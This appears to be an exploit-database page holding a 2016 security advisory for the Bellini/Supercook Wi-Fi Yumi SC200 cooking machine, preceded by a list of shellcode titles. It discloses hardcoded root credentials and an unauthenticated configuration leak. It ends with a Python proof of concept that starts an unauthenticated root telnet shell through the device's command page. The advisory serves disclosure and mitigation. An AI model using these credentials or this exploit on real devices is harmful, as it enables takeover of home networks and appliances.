
16 new exploits Ubuntu Breezy 5.10 - Installer Password Disclosure Ubuntu 5.10 - Installer Password Disclosure BSD/x86 - setuid/portbind (TCP 31337) shellcode (94 bytes) BSD/x86 - setuid/portbind 31337/TCP shellcode (94 bytes) Linux/x86 - shellcode that forks a HTTP Server on port tcp/8800 (166 bytes) Linux/x86 - listens for shellcode on tcp/5555 and jumps to it (83 bytes) Linux/x86 - Forks a HTTP Server on port 8800/TCP shellcode (166 bytes) Linux/x86 - Listens for shellcode on 5555/TCP and jumps to it (83 bytes) Linux/x86 - Shellcode Polymorphic chmod(_/etc/shadow__666) (54 bytes) Linux/x86 - Polymorphic chmod(_/etc/shadow__666) Shellcode (54 bytes) Linux/x86 - Add root user _r00t_ with no password to /etc/passwd shellcode (69 bytes) Linux/x86 - Add root user 'r00t' with no password to /etc/passwd shellcode (69 bytes) Linux/x86 - SET_PORT() portbind 31337 tcp shellcode (100 bytes) Linux/x86 - SET_PORT() portbind 31337/TCP shellcode (100 bytes) Linux/x86 - Add User _xtz_ without Password to /etc/passwd shellcode (59 bytes) Linux/x86 - Add User 'xtz' without Password to /etc/passwd shellcode (59 bytes) Linux/x86 - Bind /bin/sh to 31337/tcp shellcode (80 bytes) Linux/x86 - Bind /bin/sh to 31337/tcp + fork() shellcode (98 bytes) Linux/x86 - Bind /bin/sh to 31337/TCP shellcode (80 bytes) Linux/x86 - Bind /bin/sh to 31337/TCP + fork() shellcode (98 bytes) Linux/x86 - connect-back shellcode 127.0.0.1:31337/tcp (74 bytes) Linux/x86 - Connect-back shellcode 127.0.0.1:31337/TCP (74 bytes) Linux/x86 - Add user _t00r_ encrypt shellcode (116 bytes) Linux/x86 - Add user 't00r' encrypt shellcode (116 bytes) Linux/x86 - Add user _t00r_ shellcode (82 bytes) Linux/x86 - Add user 't00r' shellcode (82 bytes) Linux/x86 - Add user _z_ shellcode (70 bytes) Linux/x86 - Add User 'z' shellcode (70 bytes) Solaris/x86 - portbind/tcp shellcode (Generator) Solaris/x86 - portbind/TCP shellcode (Generator) Linux/x86 - append _/etc/passwd_ & exit() shellcode (107 bytes) Linux/x86 - append '/etc/passwd' & exit() shellcode (107 bytes) Linux/x86 - sends _Phuck3d!_ to all terminals shellcode (60 bytes) Linux/x86 - sends 'Phuck3d!' to all terminals shellcode (60 bytes) Linux/x86 - change mode 0777 of _/etc/shadow_ with sys_chmod syscall shellcode (39 bytes) Linux/x86 - change mode 0777 of '/etc/shadow' with sys_chmod syscall shellcode (39 bytes) Linux/x86 - change mode 0777 of _/etc/passwd_ with sys_chmod syscall shellcode (39 bytes) Linux/x86 - change mode 0777 of '/etc/passwd' with sys_chmod syscall shellcode (39 bytes) Linux/ARM - Add root user _shell-storm_ with password _toor_ shellcode (151 bytes) Linux/ARM - Add root user 'shell-storm' with password 'toor' shellcode (151 bytes) OS-X/Intel - reverse_tcp shell x86_64 shellcode (131 bytes) OS-X/Intel (x86_64) - reverse_tcp shell shellcode (131 bytes) Linux/SuperH (sh4) - Add root user _shell-storm_ with password _toor_ shellcode (143 bytes) Linux/SuperH (sh4) - Add root user 'shell-storm' with password 'toor' shellcode (143 bytes) Linux/MIPS - Add user(UID 0) _rOOt_ with password _pwn3d_ shellcode (164 bytes) Linux/MIPS - Add user(UID 0) 'rOOt' with password 'pwn3d' shellcode (164 bytes) Linux/x86-64 - Bind TCP 4444 Port Shellcode (81 bytes / 96 bytes with password) Linux/x86-64 - Bind 4444/TCP Port Shellcode (81 bytes / 96 bytes with password) Linux/x86 - TCP Bind Shell 33333 Port Shellcode (96 bytes) Linux/x86 - Bind Shell 33333/TCP Port Shellcode (96 bytes) OS-X/x86-64 - tcp 4444 port bind Nullfree shellcode (144 bytes) OS-X/x86-64 - 4444/TPC port bind Nullfree shellcode (144 bytes) Linux/x86-64 - Bind TCP 4444 Port Shellcode (103 bytes) Linux/x86-64 - TCP 4444 port Bindshell with Password Prompt shellcode (162 bytes) Linux/x86-64 - Bind 4444/TCP Port Shellcode (103 bytes) Linux/x86-64 - Bindshell 4444/TCP with Password Prompt shellcode (162 bytes) Linux/x86-64 - Bind TCP Port 1472 shellcode (IPv6) (199 bytes) Linux/x86-64 - Bind 1472/TCP shellcode (IPv6) (199 bytes) Linux/x86 - TCP Bind Shell Port 4444 shellcode (656 bytes) Linux/x86 - Bind Shell Port 4444/TCP shellcode (656 bytes) Linux/x86 - TCP Bind Shell Port 4444 shellcode (98 bytes) Linux/x86 - Bind Shell Port 4444/TCP shellcode (98 bytes) Rapid7 AppSpider 6.12 - Local Privilege Escalation Barracuda Web App Firewall 8.0.1.007/Load Balancer 5.4.0.004 - Remote Command Execution (Metasploit) Barracuda Spam & Virus Firewall 5.1.3.007 - Remote Command Execution (Metasploit) MediaCoder 0.8.43.5852 - .m3u SEH Exploit Drupal CODER Module 2.5 - Remote Command Execution (Metasploit) CodoForum 3.2.1 - SQL Injection CoolPlayer+ Portable 2.19.6 - .m3u Stack Overflow (Egghunter+ASLR bypass) GRR Système de Gestion et de Réservations de Ressources 3.0.0-RC1 - Arbitrary File Upload PHP gettext (gettext.php) 1.0.12 - Unauthenticated Code Execution PHP 7.0.8_ 5.6.23 and 5.5.37 - bzread() Out-of-Bounds Write Ubee EVW3226 Modem/Router 1.0.20 - Multiple Vulnerabilities Technicolor TC7200 Modem/Router STD6.02.11 - Multiple Vulnerabilities Hitron CGNV4 Modem/Router 4.3.9.9-SIP-UPC - Multiple Vulnerabilities Compal CH7465LG-LC Modem/Router CH7465LG-NCIP-4.50.18.13-NOSH - Multiple Vulnerabilities Bellini/Supercook Wi-Fi Yumi SC200 - Multiple Vulnerabilities Micro Focus Filr 2 2.0.0.421_ Filr 1.2 1.2.0.846 - Multiple Vulnerabilities
268 lines
No EOL
10 KiB
Python
Executable file
268 lines
No EOL
10 KiB
Python
Executable file
'''
|
|
Bellini/Supercook Wi-Fi Yumi SC200 - Multiple vulnerabilities
|
|
|
|
Reported By:
|
|
==================================
|
|
James McLean -
|
|
Primary: james dot mclean at gmail dot com
|
|
Secondary: labs at juicedigital dot net
|
|
|
|
Device Overview:
|
|
==================================
|
|
From http://www.supercook.me/en/supercook/articles/btmkm800x/
|
|
|
|
"The Bellini.SUPERCOOK Kitchen Master is much more than a multifunctional
|
|
kitchen machine. It has 13 functions so not only saves a huge amount of
|
|
time, it also incorporates the Yumi control module and its own recipe
|
|
collection, making it incredibly easy to use."
|
|
|
|
Vulnerability Overview:
|
|
==================================
|
|
Vuln1) Weak Username/Password for 'root' account.
|
|
Vuln2) Information disclosure, unauthenticated.
|
|
Vuln3) Remote arbitrary code execution.
|
|
|
|
CVE ID's
|
|
==================================
|
|
None assigned as yet.
|
|
|
|
Disclosure Timeline
|
|
==================================
|
|
2016-06-01: Vulnerability assessment commenced.
|
|
2016-07-04: Contacted Supercook.me support via Web Contact. No response.
|
|
2016-07-12: Contacted Supercook.me support via Web Contact. No response.
|
|
2016-07-12: Contacted Supercook Australia via Facebook. Supercook responded, saying they will view the support request. No further response recieved.
|
|
2016-07-19: Contacted Supercook Australia via Facebook. No response.
|
|
2016-07-21: Posted security assessment to vortex.id.au.
|
|
2016-07-22: Mitre contacted, CVE ID's requested.
|
|
|
|
It is with regret, but ultimately due to my concern for the community
|
|
that own these devices, that due to lack of communication I am disclosing
|
|
these vulnerabilities without the involvment of the vendor. I sincerely hope
|
|
that the vendor can resolve these issues in a timely manner.
|
|
|
|
I intend no malice by releasing these vulnerabilities, and only wish to
|
|
inform the community so appropriate steps may be taken by the owners of
|
|
these devices.
|
|
|
|
Due to the nature of the firmware on the device, these issues are not likely
|
|
caused by the vendor themselves.
|
|
|
|
Please do not use the information presented here for evil.
|
|
|
|
Affected Platforms:
|
|
==================================
|
|
Bellini/Supercook Wi-Fi Yumi SC200 - Confirmed affected: Vuln1, Vuln2, Vuln3.
|
|
Bellini/Supercook Wi-Fi Yumi SC250 - Likely affected, Vuln1, Vuln2, Vuln3, as
|
|
same firmware is used.
|
|
|
|
As the Wi-fi Yumi firmware appears to be based on a stock firmware image
|
|
used on a number of other commodity 'IoT' devices, the vulnerabilities
|
|
described here are very likely to affect other devices with similar or
|
|
the same firmware.
|
|
|
|
--
|
|
|
|
Vuln1 Details:
|
|
==================================
|
|
Weak Username/Password for Root-level account.
|
|
Username: super
|
|
Password: super
|
|
|
|
These credentials provide access to the built in FTP server and web
|
|
administration interface. We did not attempt any more than a cursory
|
|
connection to the FTP server with these details.
|
|
|
|
According to the details disclosed in Vuln2, an additional account is present
|
|
on the device with the following credentials:
|
|
Username: admin
|
|
Password: AlpheusDigital1010
|
|
|
|
With the exception of a cursory check of the built in FTP service (which
|
|
failed for these credentials), we did not attempt to access the device with
|
|
these credentials.
|
|
|
|
Vuln1 Notes:
|
|
==================================
|
|
We did not attempt to change or ascertain if it was possible to change these
|
|
access credentials; as Vuln2 completely negates any change made.
|
|
|
|
Vuln1 Mitigation:
|
|
==================================
|
|
Isolate the Supercook Wi-fi Yumi from any other Wireless network.
|
|
Revert to the non-wifi Yumi controller.
|
|
|
|
--
|
|
|
|
Vuln2 Details:
|
|
==================================
|
|
Information disclosure, unauthenticated.
|
|
|
|
Device URL: http://10.10.1.1/Setting.chipsipcmd
|
|
|
|
The device offers, via its built in webserver, a full list of all configuration
|
|
parameters available. This list includes the above mentioned root account
|
|
username and password, and the password to the parent connected wifi network.
|
|
All details are in plain text, and transmitted in the format of a key-value
|
|
pair making retrieval, recovery and use of all configuration
|
|
information trivial.
|
|
|
|
This interface is also available from the parent wi-fi network via DHCP assigned
|
|
IPv4 address.
|
|
|
|
Vuln2 Notes:
|
|
==================================
|
|
Example data returned:
|
|
DEF_IP_ADDR=10.10.1.1
|
|
DEF_SUBNET_MASK=255.255.255.0
|
|
...
|
|
DEF_SUPER_NAME="super"
|
|
DEF_SUPER_PASSWORD="super"
|
|
DEF_USER_NAME="admin"
|
|
DEF_USER_PASSWORD="AlpheusDigital1010"
|
|
...
|
|
|
|
Vuln2 Mitigation:
|
|
==================================
|
|
Isolate the Supercook Wi-fi Yumi from any other Wireless network, only using
|
|
the mobile application to upload recipes, then disconnect from the device and
|
|
connect your mobile device to a trusted network once again to access the
|
|
internet once again.
|
|
|
|
Revert to the non-wifi Yumi controller.
|
|
|
|
The vendor should establish a method of authentication to the device from the
|
|
various mobile applications available, and transport any configuration in an
|
|
encrypted format using keys which are not generally available or easily
|
|
discoverable.
|
|
|
|
--
|
|
|
|
Vuln3 Details:
|
|
==================================
|
|
Remote arbitrary code execution.
|
|
|
|
Device URL: http://10.10.1.1/syscmd.asp
|
|
|
|
The device offers a built-in web-shell which, once authenticated using the
|
|
details discovered in Vuln2, allows the execution of any command the device
|
|
can execute - as the built in webserver runs as the root user.
|
|
|
|
It is possible to execute a command using this interface that would create
|
|
any file in any location. This would allow an attacker to establish persistence.
|
|
|
|
Additionally, the built in busybox binary includes the option
|
|
'telnetd', meaning it is
|
|
possible to execute the relevant command to start a telnet daemon remotely.
|
|
The running daemon then requires no authentication to connect, and runs as
|
|
the root account.
|
|
|
|
Vuln3 Mitigation:
|
|
==================================
|
|
Isolate the Supercook Wi-fi Yumi from any other Wireless network.
|
|
|
|
Revert to the non-wifi Yumi controller.
|
|
|
|
Remove or prevent access to /syscmd.asp and /goform/formSysCmd scripts (Please
|
|
mind your warranty if you modify the files on the device).
|
|
|
|
The vendor should disable any and all commands on the device and scripts in
|
|
the web interface which are not specifically required for the normal
|
|
functionality of the device or its communication with control apps.
|
|
|
|
In this instance, the vendor should REMOVE the page '/syscmd.asp' and also
|
|
/goform/formSysCmd which processes commands submitted via syscmd.asp to prevent
|
|
arbitrary commands from being executed.
|
|
|
|
Additionally, busybox should be recompiled such that the 'telnetd' option is
|
|
no longer available to be executed.
|
|
|
|
--
|
|
|
|
Vuln1/Vuln2/Vuln3 Risks:
|
|
==================================
|
|
Weak and easily discoverable root credentials combined with easily accessed
|
|
remote shell functionality is a dangerous combination. These vulnerabilities
|
|
could allow any sufficiently advanced malware to become persistent in a LAN
|
|
and re-infect hosts at will (advanced crypto-locker style malware comes to
|
|
mind), capture and exfiltrate data on either Wireless network the device is
|
|
connected to, MITM any traffic routed through the device, or other as yet
|
|
unknown attack vectors.
|
|
|
|
Additionally, as full root access is easily obtainable, it may be possible
|
|
for an attacker to cause the cooking functionality to behave erratically or
|
|
possibly even dangerously due to the built in spinning blades and heating
|
|
elements. While we ultimately did not attempt to control these aspects of the
|
|
device due to the fact that it makes our dinner most nights, these risks are
|
|
worth raising.
|
|
|
|
This vulnerability assessment should not be considered an exhaustive list
|
|
of all vunlnerabilities the device may have. Due to time constraints we were
|
|
unable to invest the required time to discover and document all issues. Due to
|
|
the nature of the firmware on the device, most of these have likely been
|
|
discovered in other products at various times, this item may even duplicate
|
|
another from a similar device.
|
|
|
|
Notes:
|
|
==================================
|
|
No security assessment of code used for control of cooker functionality was
|
|
undertaken; as this does not, in my opinion, rate as seriously as the other
|
|
vulnerabilities discovered and disclosed here. However, it should be noted,
|
|
that with the root access that is VERY easily obtained, it may be possible for
|
|
an attacker to cause the cooking functionality of the machine to behave
|
|
erratically or even dangerously due to the built in spinning blades and heating
|
|
elements. Further to this, a malicious partner or offspring may intentionally
|
|
sabotage dinner, if he/she would prefer to eat takeout.
|
|
|
|
No attempt was made to connect to or manipulate files on the built in Samba
|
|
shares, however given the weak credentials sufficiently advanced malware may be
|
|
able to use these shares to establish persistence.
|
|
|
|
The 'Bellini' name may be regional, our device was procured in Australia and
|
|
as such may or may not have a different name in other countries.
|
|
|
|
A full, detailed, rundown and commentary is available at
|
|
https://www.vortex.id.au/2016/07/bellini-supercook-yumi-wi-fi-the-insecurity-perspective/
|
|
|
|
Vuln3 Proof of Concept:
|
|
==================================
|
|
'''
|
|
|
|
#!/usr/bin/env python
|
|
|
|
import urllib
|
|
import urllib2
|
|
from subprocess import call
|
|
|
|
# Connect to the device's wifi network, then run.
|
|
# Root access will be provided.
|
|
|
|
url = 'http://10.10.1.1/goform/formSysCmd'
|
|
cmd = 'busybox telnetd -l /bin/sh'
|
|
username = 'super'
|
|
password = 'super'
|
|
|
|
# setup the password handler
|
|
basicauth = urllib2.HTTPPasswordMgrWithDefaultRealm()
|
|
basicauth.add_password(None, url, username, password)
|
|
|
|
authhandler = urllib2.HTTPBasicAuthHandler(basicauth)
|
|
opener = urllib2.build_opener(authhandler)
|
|
|
|
urllib2.install_opener(opener)
|
|
|
|
# Connect to the device, send the data
|
|
values = {
|
|
'sysCmd': cmd,
|
|
'apply': 'Apply',
|
|
'submit-url': '/syscmd.asp'
|
|
}
|
|
data = urllib.urlencode(values)
|
|
pagehandle = urllib2.urlopen(url, data)
|
|
|
|
# Connect to Telnet.
|
|
call(["telnet","10.10.1.1"])
|
|
|
|
# Pwnd.
|
|
|
|
# End of document. |